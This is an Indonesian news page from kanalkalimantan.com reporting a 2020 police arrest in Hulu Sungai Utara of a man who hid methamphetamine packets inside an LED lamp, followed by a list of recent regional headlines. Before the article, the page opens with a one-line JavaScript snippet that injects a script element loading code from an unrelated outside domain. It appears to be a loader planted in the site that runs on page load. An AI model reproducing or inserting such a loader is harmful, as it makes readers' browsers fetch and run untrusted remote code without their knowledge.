(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Simpan Sabu di Lampu LED, Asul Naga Akhirnya Dibekuk Polsek Alabio


KANALKALIMANTAN.COM, AMUNTAI – SA alias Asul Naga (28) warga Desa Tapus Dalam Kecamantan Sungai Pandan (Alabio) Kabupaten Hulu Sungai Utara (HSU), tak berkutik setelah anggota Polsek Alabio bersama Sat Narkoba Polres HSU menemukan 6 paket sabu, saat menggeledah rumahnya
pada (6/3/ 2020) kemarin.

Ditangkapnya tersangka Asul Naga disertai penggeledahan tersebut, adalah hasil dari pengembangan kasus oleh anggota Polsek Alabio usai beberapa hari sebelumnya juga meringkus dua pelaku yang diduga sebagai kurir sabu diwilayah tersebut.

Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kapolsek Alabio Iptu Agus Sumitro, kepada kanalkalimantan.com, Minggu (8/3/2020) mengakui penangkapan terhadap tersangka SA alias Asul Naga, merupakan pengembangan dan informasi dari dua tersangka yang berhasil diringkus sebelumnya di kawasan Alabio.

Alhasil diperoleh barang bukti yaitu 6 Paket Plastik Piper Clip yang berisikan Narkotika jenis Sabu dengan berat kotor keseluruhan sebanyak 1.70 gram dan berat bersih keseluruhan 0.80 gram.1 buah lampu Led Premium quality warna putih, 1 buah kepala Charging warna putih dan 1 buah Handphone.

“Tersangka ini ada keterkaitan dengan tersangka Nuri kemarin.” Ujar Kapolsek Alabio ini saat dikonfirmasi Kanalkalimantan.com.

Dari informasinya, penangkapan tersangka Asul ini sendiri bermula saat dilakukan penangkapan dan melakukan penggeledahan rumahnya dengan disaksikan oleh warga setempat.

Hasilnya ditemukan barang bukti sabu didalam kamar tepatnya di atas lemari rias berupa sebuah lampu Led Premium quality warna putih yang didalam nya berisikan 6 paket plastik piper clip yg berisikan narkotika jenis sabu-sabu dengan berat keseluruhan 1.70 gram.

Atas temuan tersebut tersangka bersama barang bukti digelandang ke Polres HSU guna proses lebih lanjut dan bakal disangkakan Pasal 114 ayat ( 1 ) atau 112 ayat ( 1 ) nomor 35 Tahun 2009 terkait Tentang Narkotika.(kanalkalimantan.com/dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

Tim Sepakbola HSU Siap Berlaga di Kejurprov Kalsel 2025

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melepas tim sepakbola HSU berlaga… Read More

1 jam ago

Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Para pecinta adventure dengan menggunakan motor trail boleh bergembira. Pasalnya, Kapuas… Read More

13 jam ago

DPRD Kapuas Rapat Paripurna Pemandangan Fraksi Terkait Pemekaran Kecamatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke… Read More

14 jam ago

Pasca PSU,  Emi Lasari: Lapang Dada, Kembali Bersatu Membangun Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Pasca gelaran Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

14 jam ago

Harapan Besar Wakil Rakyat di Momentum Hari Jadi ke-26 Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Harapan disampaikan wakil rakyat yang duduk DPRD Kota Banjarbaru dalam momen peringatan… Read More

16 jam ago

Tim Hanyar Banjarbaru Ajukan Pembatalan Hasil PSU ke MK

KANALKALIMANTAN.COM, BANJARBARU - Tak sampai tiga hari setelah Komisi Pemilihan Umum (KPU) Kalimantan Selatan (Kalsel)… Read More

16 jam ago